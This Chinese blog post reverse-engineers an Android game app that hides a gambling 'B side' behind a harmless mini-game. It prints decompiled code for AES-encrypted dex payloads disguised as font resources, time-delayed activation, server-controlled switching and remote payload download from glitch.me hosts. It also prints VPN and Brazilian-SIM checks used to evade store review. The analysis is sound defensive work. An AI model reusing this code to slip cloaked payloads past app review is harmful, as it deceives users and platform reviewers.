包信息
之前在应用榜找的几个包都是一家的,一样的方案没啥好分析的。
这次就换游戏榜里面找了个包,直接看图标找很好找。
逆向分析
安装运行,刚开始还是进的A面小游戏,然后我说来抓个包看下,重新打开了一下app,结果直接就B面了,给我整不会了。。。
现在的上架方案都这么随意进b面的吗。。。
抓包
第一个请求:https://historical-beneficial-armchair.glitch.me/ta
返回了一个key
,格式看着像base64 ,解码试下
第2个请求:https://historical-beneficial-armchair.glitch.me/ty
返回值同样是base64 编码
第三个请求:
https://historical-beneficial-armchair.glitch.me/ti
返回值同样是base64 编码,解出来url 就是b面地址。
返回值里面还有afkey,adkey 这些参数。
第4个请求:
https://cdn.glitch.global/6f36927e-94c3-4226-a2b5-0f860ed414a1/r?v=1731719239689
这个是下载文件。
再后面的请求就是B面地址了,就不发出来了。
代码分析
apk 丢到jeb分析,看了一眼文件结构 纯java 没有so 。
包结构简单没有adj 和 af ,多半又是一个动态加载子包的方案。
代码入口
注册了一个广播ResultReceiver
aes0.setKey 设置aes秘钥
aes0.deKeyFile 解密文件
public class App extends Application {
private ResultReceiver receiver;
@Override // android.app.Application
public void onCreate() {
super.onCreate();
this.receiver = new ResultReceiver(this);
Aes aes0 = new Aes();
IntentFilter intentFilter0 = new IntentFilter(this.getPackageName());
if(Build.VERSION.SDK_INT >= 26) {
this.registerReceiver(this.receiver, intentFilter0, 2);
}
aes0.setKey(this.getPackageName());
aes0.deKeyFile(this);
}
}
public void setKey(String s) {
this.theKey = s;
try {
this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
this.secretKey = this.generateSecretKey(s);
this.ivParameterSpec = this.generateInitVector(s);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
}
public void deKeyFile(Context context0) {
FileOutputStream fileOutputStream0;
File file0;
byte[] arr_b1;
try {
InputStream inputStream0 = context0.getResources().openRawResource(0x7F080000); // font:eyr
byte[] arr_b = new byte[inputStream0.available()];
inputStream0.read(arr_b);
inputStream0.close();
arr_b1 = this.decrypt(arr_b);
file0 = new File(context0.getFilesDir(), context0.getPackageName());
if(file0.exists()) {
file0.delete();
}
fileOutputStream0 = new FileOutputStream(file0);
}
catch(Exception exception0) {
goto label_42;
}
try {
if(Build.VERSION.SDK_INT >= 34) {
file0.setReadOnly();
}
fileOutputStream0.write(arr_b1);
goto label_38;
}
catch(Throwable throwable0) {
}
try {
fileOutputStream0.close();
throw throwable0;
}
catch(Throwable throwable1) {
}
try {
throwable0.addSuppressed(throwable1);
throw throwable0;
label_38:
fileOutputStream0.close();
this.loadKey(context0, file0);
return;
}
catch(Exception exception0) {
}
label_42:
exception0.printStackTrace();
}
上来就直接aes解密子包,加密的文件藏在resource下 font:eyr
解密完调用了loadKey
加载子包dex 的 B类的构造方法
private void loadKey(Context context0, File file0) {
String s = context0.getDir("dex", 0).getAbsolutePath();
DexClassLoader dexClassLoader0 = new DexClassLoader(file0.getAbsolutePath(), s, null, context0.getClassLoader());
try {
dexClassLoader0.loadClass(context0.getPackageName() + ".B").getDeclaredConstructor(Context.class).newInstance(context0);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
}
到私有目录files下找到子包文件,名称是包名,导出来
子包1
B类的构造方法
1、调用timeFun 判断当前时间是否大于2024年10月17日17点(上架更新时间)后 1小时。
2、时间符合条件后才会发送请求执行后续,否则加密子包删除原子包。
public B(Context context0) {
if(!this.timeFun(10, 17, 17, 1)) {
try {
new AESCrypto(context0.getPackageName()).encryptAndSaveApk(context0);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
return;
}
this.downReq(context0);
}
timeFun 方法判断时间
这个方法的逻辑是:取当前时间 - 2024年10月17日17点的时间,大于 1小时 就为 true。
10月17是app上架时间
private boolean timeFun(int v, int v1, int v2, int v3) {
Calendar calendar0 = Calendar.getInstance();
Calendar calendar1 = Calendar.getInstance();
calendar1.set(2024, v - 1, v1, v2, 0, 0);
return calendar0.getTimeInMillis() - calendar1.getTimeInMillis() > ((long)(v3 * 3600000));
}
encryptAndSaveApk 加密子包文件,删除原子包文件
public void encryptAndSaveApk(Context context0) {
File file2;
byte[] arr_b1; // 加密
File file1;
File file0;
FileInputStream fileInputStream0 = null;
FileOutputStream fileOutputStream0 = null;
FileInputStream fileInputStream1 = null;
try {
file0 = context0.getFilesDir();
file1 = new File(file0, context0.getPackageName());
fileInputStream0 = new FileInputStream(file1);
goto label_19;
}
catch(Exception unused_ex) {
goto label_46;
}
catch(Throwable throwable0) {
}
FileOutputStream fileOutputStream1 = null;
goto label_59;
try {
label_19:
byte[] arr_b = new byte[((int)file1.length())];
if(fileInputStream0.read(arr_b) != -1) {
fileInputStream0.read(arr_b);
}
arr_b1 = this.encrypt(arr_b); // 加密
file1.delete(); // 删除文件
file2 = new File(file0, context0.getPackageName());
fileOutputStream0 = new FileOutputStream(file2);
goto label_40;
}
catch(Exception unused_ex) {
}
downReq 前面抓包的第一个请求
从返回值获取key 然后发送广播。
private void downReq(Context context0) {
new Thread(new Runnable() {
@Override
public void run() {
try {
HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ta").openConnection();
httpsURLConnection0.setRequestMethod("POST");
httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
if(httpsURLConnection0.getResponseCode() == 200) {
BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
StringBuilder stringBuilder0 = new StringBuilder();
while(true) {
String s = bufferedReader0.readLine();
if(s == null) {
break;
}
stringBuilder0.append(s);
}
httpsURLConnection0.disconnect();
Intent intent0 = new Intent(context0.getPackageName());
intent0.putExtra("key", new String(Base64.decode(new JSONObject(stringBuilder0.toString()).getString("key"), 0)));
context0.sendBroadcast(intent0);
return;
}
}
catch(Exception exception0) {
exception0.printStackTrace();
return;
}
}
}).start();
}
回到apk 前面分析过的入口就注册了广播ResultReceiver,子包发送广播,ResultReceiver就会收到。
获取key 之后 又发送了一个广播,相当于转发一道。
public class ResultReceiver extends BroadcastReceiver {
private String key;
private Context mCon;
public ResultReceiver(Context context0) {
this.mCon = context0;
}
@Override // android.content.BroadcastReceiver
public void onReceive(Context context0, Intent intent0) {
this.key = intent0.getStringExtra("key");
Intent intent1 = new Intent(this.mCon.getPackageName() + this.mCon.getPackageName());
intent1.putExtra(this.mCon.getPackageName(), this.key);
LocalBroadcastManager.getInstance(this.mCon).sendBroadcast(intent1);
}
}
LocalBroadcastManager 注册是在MainActivity
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.setContentView(0x7F0C001C); // layout:activity_main
this.init_screen();
LocalBroadcastManager.getInstance(this).registerReceiver(this.receiver, new IntentFilter(this.getPackageName() + this.getPackageName()));
这里收到广播后又调了 aes.setKey 和 aes.decryptAndSaveImage 解密方法
public MainActivity() {
this.receiver = new BroadcastReceiver() {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context0, Intent intent0) {
String s = intent0.getStringExtra(context0.getPackageName());
MainActivity.this.aes.setKey(s);
MainActivity.this.aes.decryptAndSaveImage(MainActivity.this);
}
};
}
decryptAndSaveImage
Aes 解密第2个子包,加密的文件是藏在resource下的 font:ianj
public void decryptAndSaveImage(Activity activity0) {
FileOutputStream fileOutputStream0;
File file0;
byte[] arr_b1;
try {
InputStream inputStream0 = activity0.getResources().openRawResource(0x7F080001); // font:ianj
byte[] arr_b = new byte[inputStream0.available()];
inputStream0.read(arr_b);
inputStream0.close();
arr_b1 = this.decrypt(arr_b);
file0 = new File(activity0.getFilesDir(), activity0.getPackageName());
if(file0.exists()) {
file0.delete();
}
fileOutputStream0 = new FileOutputStream(file0);
}
catch(Exception exception0) {
goto label_42;
}
try {
if(Build.VERSION.SDK_INT >= 34) {
file0.setReadOnly();
}
fileOutputStream0.write(arr_b1);
goto label_38;
}
catch(Throwable throwable0) {
}
try {
fileOutputStream0.close();
throw throwable0;
}
catch(Throwable throwable1) {
}
try {
throwable0.addSuppressed(throwable1);
throw throwable0;
label_38:
fileOutputStream0.close();
this.loadDecryptedDex(activity0, file0);
return;
}
catch(Exception exception0) {
}
label_42:
exception0.printStackTrace();
}
然后调用 loadDecryptedDex 加载第2个子包的 I 类的构造方法
和第一个子包一样的套路。
private void loadDecryptedDex(Activity activity0, File file0) {
String s = activity0.getDir("dex", 0).getAbsolutePath();
DexClassLoader dexClassLoader0 = new DexClassLoader(file0.getAbsolutePath(), s, null, activity0.getClassLoader());
try {
Object[] arr_object = {activity0, this.theKey};
dexClassLoader0.loadClass(activity0.getPackageName() + ".I").getDeclaredConstructor(Activity.class, String.class).newInstance(arr_object);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
}
子包2
I类 构造方法
和第一个子包差不多一样的流程,timeFun时间更早了一些,第一个时间判断过了这里肯定也是能过了。
public I(Activity activity0, String s) {
I.skey = s;
if(!this.timeFun(10, 11, 0, 12)) {
try {
new AESCrypto(activity0.getPackageName()).encryptAndSaveApk(activity0);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
return;
}
this.lifecycle(activity0);
this.firebaseCrashLogger = new FirebaseCrashLogger(activity0);
this.downReq();
}
调用this.downReq(); 发送第2个请求
https://historical-beneficial-armchair.glitch.me/ty
private void downReq() {
new Thread(new Runnable() {
@Override
public void run() {
try {
HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ty").openConnection();
httpsURLConnection0.setRequestMethod("POST");
httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
if(httpsURLConnection0.getResponseCode() == 200) {
BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
StringBuilder stringBuilder0 = new StringBuilder();
while(true) {
String s = bufferedReader0.readLine();
if(s == null) {
break;
}
stringBuilder0.append(s);
}
JSONObject jSONObject0 = new JSONObject(stringBuilder0.toString());
String s1 = jSONObject0.getString("isDown");
String s2 = jSONObject0.getString("url");
String s3 = new String(Base64.decode(s1, 0));
String s4 = new String(Base64.decode(s2, 0));
I.this.firebaseCrashLogger.onRe(s3, s4);
httpsURLConnection0.disconnect();
return;
}
}
catch(Exception exception0) {
exception0.printStackTrace();
return;
}
}
}).start();
}
取返回值base64解码 ,调了 I.this.firebaseCrashLogger.onRe(s3, s4);
// 第一个参数 “isdown” 判断是否下载,第二个参数 下载地址
public void onRe(String s, String s1) {
FirebaseCrashLogger..ExternalSyntheticLambda0 firebaseCrashLogger$$ExternalSyntheticLambda00 = () -> try { // isDown = 1 就不下载,直接从assets下取
if(s.equals("1")) { // isDown = 1 就不下载,直接从assets下取
this.inputStream1 = this.mActivity.getAssets().open("pri_file");
this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).edit().putBoolean(this.mActivity.getPackageName(), false).apply();
return;
}
this.inputStream1 = this.downloadFile(s1); // 下载文件
}
catch(Exception exception0) {
exception0.printStackTrace();
try {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
catch(Exception exception1) {
exception1.printStackTrace();
}
};
Future future0 = this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda00);
FirebaseCrashLogger..ExternalSyntheticLambda1 firebaseCrashLogger$$ExternalSyntheticLambda10 = () -> try { // 第三个请求
this.HttpReq(); // 第三个请求
}
catch(Exception exception0) {
exception0.printStackTrace();
try {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
catch(Exception exception1) {
exception1.printStackTrace();
}
};
FirebaseCrashLogger..ExternalSyntheticLambda2 firebaseCrashLogger$$ExternalSyntheticLambda20 = () -> {
try {
this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda10).get();
future0.get();
boolean z = new String(Base64.decode(this.isOpen, 0)).equals("open"); // 根据服务端返回数据判断是否进B面
}
catch(Exception exception0) {
goto label_53;
}
catch(Throwable throwable0) {
this.executor.shutdown();
throw throwable0;
}
if(z) {
goto label_27;
}
try {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
goto label_24;
}
catch(Exception exception1) {
}
catch(Throwable throwable0) {
this.executor.shutdown();
throw throwable0;
}
try {
exception1.printStackTrace();
label_24:
this.executor.shutdown();
goto label_47;
label_27:
if(!this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).getBoolean(this.mActivity.getPackageName(), false)) {
this.writeFile(this.inputStream1); // aes 解密子包
}
if(!this.type.equals("0")) { // 根据服务端返回type 判断
goto label_50;
}
this.loadDecryptedDex(); // 加载第3个子包,真正的B面集成包
}
catch(Exception exception0) {
goto label_53;
}
catch(Throwable throwable0) {
this.executor.shutdown();
throw throwable0;
}
label_47:
this.executor.shutdown();
return;
try {
label_50:
this.ruleEnter(); // 进AB切换规则判断
goto label_61;
}
catch(Exception exception0) {
}
catch(Throwable throwable0) {
this.executor.shutdown();
throw throwable0;
}
try {
label_53:
exception0.printStackTrace();
}
catch(Throwable throwable0) {
this.executor.shutdown();
throw throwable0;
}
label_61:
this.executor.shutdown();
};
this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda20);
}
上面这个方法就是比较核心的逻辑了
上面的请求返回值包含2个字段,isDown 和 url , 作为参数传到 onRe 方法
1、根据isDown 的值判断是否需要下载第3个子包,1 是不下载,其他值则是下载。
不下载是直接从Assets目录下取 加密的文件是 pri_file。
下载则是调用downloadFile 请求url 下载,是第4个请求
https://cdn.glitch.global/6f36927e-94c3-4226-a2b5-0f860ed414a1/r?v=1731719239689
2种方式都可以得到加密的第3个子包。
2、然后是调用HttpReq 发送第3个请求
https://historical-beneficial-armchair.glitch.me/ti
这个请求的返回值就是 B面地址、adj 、af 的key token 等核心参数。
private void HttpReq() throws Exception {
HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ti").openConnection();
httpsURLConnection0.setRequestMethod("POST");
httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
if(httpsURLConnection0.getResponseCode() != 200) {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
StringBuilder stringBuilder0 = new StringBuilder();
while(true) {
String s = bufferedReader0.readLine();
if(s == null) {
break;
}
stringBuilder0.append(s);
}
JSONObject jSONObject0 = new JSONObject(stringBuilder0.toString());
this.isOpen = jSONObject0.getString("isOpen");
this.netUrl = jSONObject0.getString("url");
this.type = jSONObject0.getString("type");
this.afkey = jSONObject0.getString("afkey");
this.adkey = jSONObject0.getString("adkey");
this.adtokens = jSONObject0.getString("adTokens");
this.dUrl = jSONObject0.getString("downUrl");
httpsURLConnection0.disconnect();
}
3、请求完之后 根据返回值 isOpen 判断是否进B面
isOpen 的值base64 解码后等于 “open” ,则调用writeFile 解密第3个子包
label_27:
if(!this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).getBoolean(this.mActivity.getPackageName(), false)) {
this.writeFile(this.inputStream1); // aes 解密子包
}
4、根据返回值type 是否 等于 0 判断 是否需要进本地的AB判断规则
type 是 “0” 就直接调用 loadDecryptedDex 加载第3个子包
type 不是 “0” 就调用 ruleEnter 进到AB切换的条件判断
5、ruleEnter AB切换条件判断
两个判断条件
1、isVpnConnectionAvailable 判断是否是vpn连接
2、isSimCardFromBrazil 判断getSimCountryIso 是否是 br
判断条件通过则调用 loadDecryptedDex 加载第3个子包
private void ruleEnter() {
if(this.isVpnConnectionAvailable()) {
try {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
return;
}
if(!this.isSimCardFromBrazil(this.mActivity)) {
try {
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
catch(Exception exception1) {
exception1.printStackTrace();
}
return;
}
this.loadDecryptedDex();
}
public boolean isVpnConnectionAvailable() {
try {
Iterator iterator0 = Collections.list(NetworkInterface.getNetworkInterfaces()).iterator();
String s = "";
while(true) {
label_7:
if(!iterator0.hasNext()) {
return false;
}
Object object0 = iterator0.next();
NetworkInterface networkInterface0 = (NetworkInterface)object0;
if(networkInterface0.isUp()) {
s = networkInterface0.getName();
}
if((s.contains("tun")) || (s.contains("ppp"))) {
return true;
}
boolean z = s.contains("pptp");
break;
}
}
catch(SocketException socketException0) {
socketException0.printStackTrace();
return false;
}
if(!z) {
goto label_7;
}
return true;
}
public boolean isSimCardFromBrazil(Context context0) {
TelephonyManager telephonyManager0 = (TelephonyManager)context0.getSystemService("phone");
return telephonyManager0 == null ? false : "br".equalsIgnoreCase(telephonyManager0.getSimCountryIso());
}
6、loadDecryptedDex 加载第3个子包
加载子包的套路是一样的。
加载的类是这个 com.example.myapplication.FManager
参数是服务端返回的b面地址,afkey, adkey 这些b面必须的参数。
private void loadDecryptedDex() {
try {
File file0 = new File(this.mActivity.getCacheDir(), this.mActivity.getPackageName());
if(Build.VERSION.SDK_INT >= 34) {
file0.setReadOnly();
}
String s = this.mActivity.getDir("dex", 0).getAbsolutePath();
new DexClassLoader(file0.getAbsolutePath(), s, null, this.mActivity.getClassLoader()).loadClass("com.example.myapplication.FManager").getDeclaredConstructor(Activity.class, String.class, String.class, String.class, String.class, String.class).newInstance(this.mActivity, this.netUrl, this.type, this.afkey, this.adkey, this.adtokens);
new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
}
catch(Exception exception0) {
exception0.printStackTrace();
}
}
第3个子包
第3个子包就是B面集成包了,有adjust ,webview 这些必不可少的东西。
FManager 就是B面集成的常规套路了,调adjust ,调webview 加载b面地址,然后提供js接口这些东西。
public FManager(Activity activity0, String s, String s1, String s2, String s3, String s4) {
ArrayList arrayList0 = new ArrayList();
arrayList0.add("tvp77");
arrayList0.add("ged77");
arrayList0.add("77brl");
arrayList0.add("okjogo777");
this.mAct = activity0;
this.entype = s1;
this.enafkey = new String(Base64.decode(s2, 0));
this.enadkey = new String(Base64.decode(s3, 0));
this.ennetUrl = new String(Base64.decode(s, 0));
byte[] arr_b = Base64.decode(s4, 0);
try {
JSONObject jSONObject0 = new JSONObject(new String(arr_b, "UTF-8"));
this.loginToken = jSONObject0.getString("loginToken");
this.logoutToken = jSONObject0.getString("logoutToken");
this.registerClickToken = jSONObject0.getString("registerClickToken");
this.registerToken = jSONObject0.getString("registerToken");
this.rechargeClickToken = jSONObject0.getString("rechargeClickToken");
this.firstrechargeToken = jSONObject0.getString("firstrechargeToken");
this.rechargeToken = jSONObject0.getString("rechargeToken");
this.enterGameToken = jSONObject0.getString("enterGameToken");
this.openWindowToken = jSONObject0.getString("openWindowToken");
}
catch(Exception exception0) {
exception0.printStackTrace();
}
this.initAdjust();
this.mAct.runOnUiThread(new Runnable() {
@Override
public void run() {
FrameLayout frameLayout0 = new FrameLayout(FManager.this.mAct);
frameLayout0.setLayoutParams(new FrameLayout.LayoutParams(-1, -1));
ProgressBar progressBar0 = new ProgressBar(FManager.this.mAct);
FrameLayout.LayoutParams frameLayout$LayoutParams0 = new FrameLayout.LayoutParams(-2, -2);
frameLayout$LayoutParams0.gravity = 17;
progressBar0.setLayoutParams(frameLayout$LayoutParams0);
progressBar0.setIndeterminate(true);
progressBar0.setVisibility(0);
WebView webView0 = new WebView(FManager.this.mAct);
FManager.this.webView = webView0;
FManager.this.webView.setLayoutParams(new FrameLayout.LayoutParams(-1, -1));
FManager.this.webView.getSettings().setJavaScriptEnabled(true);
FManager.this.webView.getSettings().setUseWideViewPort(false);
FManager.this.webView.addJavascriptInterface(new apkClient(FManager.this), "jsBridge");
FManager.this.webView.addJavascriptInterface(new apkClient2(FManager.this), "jsThirdBridge");
FManager.this.webView.getSettings().setLoadWithOverviewMode(true);
FManager.this.webView.getSettings().setAllowFileAccess(true);
FManager.this.webView.setLayerType(2, null);
FManager.this.webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
FManager.this.webView.getSettings().setBuiltInZoomControls(false);
FManager.this.webView.getSettings().setPluginState(WebSettings.PluginState.ON);
FManager.this.webView.getSettings().setSupportZoom(true);
FManager.this.webView.getSettings().setAllowContentAccess(true);
FManager.this.webView.getSettings().setDomStorageEnabled(true);
FManager.this.webView.getSettings().setDatabaseEnabled(true);
FManager.this.webView.getSettings().setGeolocationEnabled(true);
FManager.this.webView.getSettings().setLoadWithOverviewMode(false);
FManager.this.webView.getSettings().setPluginState(WebSettings.PluginState.ON);
FManager.this.webView.getSettings().setMixedContentMode(2);
FManager.this.webView.setWebChromeClient(new WebChromeClient() {
@Override // android.webkit.WebChromeClient
public View getVideoLoadingProgressView() {
FrameLayout frameLayout0 = new FrameLayout(FManager.this.mAct);
frameLayout0.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
return frameLayout0;
}
@Override // android.webkit.WebChromeClient
public boolean onJsAlert(WebView webView0, String s, String s1, JsResult jsResult0) {
return super.onJsAlert(webView0, s, s1, jsResult0);
}
@Override // android.webkit.WebChromeClient
public boolean onJsConfirm(WebView webView0, String s, String s1, JsResult jsResult0) {
return super.onJsConfirm(webView0, s, s1, jsResult0);
}
@Override // android.webkit.WebChromeClient
public boolean onJsPrompt(WebView webView0, String s, String s1, String s2, JsPromptResult jsPromptResult0) {
return super.onJsPrompt(webView0, s, s1, s1, jsPromptResult0);
}
@Override // android.webkit.WebChromeClient
public boolean onShowFileChooser(WebView webView0, ValueCallback valueCallback0, WebChromeClient.FileChooserParams webChromeClient$FileChooserParams0) {
return true;
}
});
FManager.this.webView.setWebViewClient(new WebViewClient() {
@Override // android.webkit.WebViewClient
public void onPageFinished(WebView webView0, String s) {
progressBar0.setVisibility(8);
}
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView webView0, WebResourceRequest webResourceRequest0) {
Log.d("life", "show3: " + webResourceRequest0.getUrl().toString());
String s = webResourceRequest0.getUrl().toString();
if(s.contains("https://t.me/")) {
Intent intent0 = new Intent("android.intent.action.VIEW", Uri.parse(s));
intent0.addFlags(0x10000000);
intent0.setPackage("com.android.chrome");
FManager.this.mAct.startActivity(intent0);
return true;
}
for(Object object0: com.example.myapplication.FManager.1.this.val$allUrl) {
String s1 = (String)object0;
if(!s.contains(s1)) {
continue;
}
if(Build.VERSION.SDK_INT >= 34) {
return false;
}
if(!s.contains(s1)) {
webView0.loadUrl(webResourceRequest0.getUrl().toString());
return false;
}
return true;
}
return false;
}
});
FManager.this.webView.setOnKeyListener(new View.OnKeyListener() {
@Override // android.view.View$OnKeyListener
public boolean onKey(View view0, int v, KeyEvent keyEvent0) {
if(v == 4 && keyEvent0.getAction() == 0 && (FManager.this.webView.canGoBack())) {
FManager.this.webView.goBack();
return true;
}
return false;
}
});
String s = FManager.this.ennetUrl;
FManager.this.webView.loadUrl(s);
frameLayout0.addView(FManager.this.webView);
frameLayout0.addView(progressBar0);
FManager.this.mAct.setContentView(frameLayout0);
}
});
this.mAct.getSharedPreferences(this.mAct.getPackageName(), 0).edit().putBoolean(this.mAct.getPackageName(), false).apply();
File file0 = new File(this.mAct.getFilesDir(), this.mAct.getPackageName());
if(file0.exists()) {
file0.delete();
}
}
标签:分析,巴西,Google,String,getPackageName,FManager,catch,new,exception0
From: https://blog.csdn.net/u013170888/article/details/144468444